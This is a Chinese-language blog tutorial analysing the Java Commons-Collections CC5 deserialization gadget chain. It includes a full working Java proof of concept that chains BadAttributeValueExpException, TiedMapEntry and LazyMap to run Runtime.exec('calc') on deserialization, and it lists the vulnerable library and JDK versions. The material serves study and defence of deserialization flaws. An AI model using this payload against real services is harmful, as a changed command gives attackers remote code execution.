Java反序列化漏洞(七)- CommonsCollections5链
CC5 依旧是 LazyMap 加 ChainedTransformer 的触发模式,只不过不再使用 AnnotationInvocationHandler 的动态代理来触发 LazyMap 的 get ,而是找到了其他的方式。
因为 jdk 在 1.8 之后对 AnnotationInvocationHandler 类进行了修复,所以在 jdk 1.8 版本就必须找出能替代 AnnotationInvocationHandler 的新的可以利用的类。
0x01 前置知识
TiedMapEntry
org.apache.commons.collections.keyvalue.TiedMapEntry
是一个 Map.Entry
的实现类,从名称中可以看到,这是一个绑定了底层 map 的 Entry,用来使一个 map entry 对象拥有在底层修改 map 的功能。
TiedMapEntry 中有一个成员属性 Map,这就是 Map.Entry
的底层 map,TiedMapEntry 的 getValue()
方法会调用底层 map 的 get()
方法,我们可以用来触发 LazyMap 的 get。那谁会调用 getValue()
方法呢?我们发现 TiedMapEntry 的 equals/hashCode/toString 都可以触发。
equals/hashCode 让我们想到了 URLDNS 的 HashMap,不过在 CC5 中我们用的是 toString()
方法。
接下来需要找到一个类在反序列化时会触发 TiedMapEntry 的 toString()
方法。
BadAttributeValueExpException
于是找到了 javax.management.BadAttributeValueExpException
这个类,反序列化读取 val,当 System.getSecurityManager() == null
或 valObj 是除了 String 的其他基础类型时会调用 valObj 的 toString()
方法,完成上面 TiedMapEntry 的构造。
0x02 攻击构造
使用上述两个新扩展的触发点,配合 LazyMap 就可以完成一条新的攻击路径。由于 ysoserial 使用了 ChainedTransformer + InvokerTransformer 的方式,我这里也同样使用这种方式,当然还可以使用
InvokerTransformer + TemplatesImpl/TrAXFilter + InstantiateTransformer + TemplatesImpl 的方式触发,在上面的例子中都有使用,这里不再重复罗列。
最终的恶意代码如下:
public class cc5sanshi {
public static String fileName = "CC5.bin";
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
// 创建 ChainedTransformer
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "sanshi");
// 实例化 BadAttributeValueExpException 并反射写入
BadAttributeValueExpException exception = new BadAttributeValueExpException("sanshi");
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(exception, entry);
writeObjectToFile(exception, fileName);
readFileObject(fileName);
}
public static void writeObjectToFile(Serializable obj, String fileName) throws IOException {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(fileName))) {
oos.writeObject(obj);
}
}
public static Object readFileObject(String fileName) throws IOException, ClassNotFoundException {
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName))) {
return ois.readObject();
}
}
}
需要注意的是,BadAttributeValueExpException 构造方法会直接调用 val 的
toString()
触发,所以需要反射写进去。
0x03 总结
以上就是 CC5 链分析的全部内容了,最后总结一下。
1.利用说明:
- 反序列化 BadAttributeValueExpException 调用 TiedMapEntry 的 toString 方法,间接调用了 LazyMap 的 get 方法,触发了后续的 Transformer 恶意执行链。
2.Gadget 总结:
- kick-off gadget:
javax.management.BadAttributeValueExpException#readObject()
- sink gadget:
org.apache.commons.collections.functors.InvokerTransformer#transform()
- chain gadget:
org.apache.commons.collections.keyvalue.TiedMapEntry#toString()
3.调用链展示:
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
4.依赖版本
commons-collections : 3.1~3.2.1
jdk 8u76 without a security manager
免责声明
免责声明:本博客的内容仅供合法、正当、健康的用途,切勿将其用于违反法律法规的行为。如因此导致任何法律责任或纠纷,本博客概不负责。谢谢您的理解与配合!